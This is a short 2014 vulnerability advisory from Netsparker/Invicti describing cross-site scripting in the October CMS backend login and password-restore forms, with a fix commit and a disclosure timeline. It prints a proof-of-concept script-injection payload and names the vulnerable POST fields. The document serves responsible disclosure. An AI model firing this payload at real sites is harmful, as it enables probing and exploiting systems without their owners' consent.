XSS Vulnerability in October CMS

Information

Advisory by Netsparker (now Invicti)
Name: XSS Vulnerability in October CMS
Software: October CMS and possibly below.
Vendor Homepage: https://octobercms.com/
Vulnerability Type: Cross-site Scripting
Severity: Critical
Researcher: Omar Kurt
Advisory Reference: NS-14-024

Description

October is a free, open-source, self-hosted CMS platform based on the Laravel PHP Framework. It allows developers to have full self-expression and the freedom to build web applications however they want.

Details

October CMS is affected by XSS vulnerability.
October CMS PoC urls are as follows:

  • Cross-site Scripting
    http://site/backend/backend/auth/signin – (POST, fields: login)
    '"--></style></scRipt><scRipt>alert(0x000041)</scRipt>

    http://site/backend/backend/auth/restore – (POST, fields: login)
    '"--></style></scRipt><scRipt>alert(0x000041)</scRipt>

You can read the full article about Cross-site Scripting vulnerabilities from here:

Solution

https://github.com/octobercms/october/commit/4986b1ef081e1b43100dc4ed3d0017105b154c37#diff-659a66597a33779385e70b60861692b5

Advisory Timeline

20/05/2014 – First Contact
10/06/2014 – Second Contact
11/06/2014 – Vulnerability fixed
03/07/2014 – Advisory released

Credits

It has been discovered on testing of Invicti Web Application Security Scanner.

About Invicti

Invicti® can find and report security issues such as SQL Injection and Cross-site Scripting (XSS) in all web applications regardless of the platform and the technology they are built on. Invicti’s unique detection and exploitation techniques allows it to be dead accurate in reporting hence it’s the first and the only False Positive Free web application security scanner.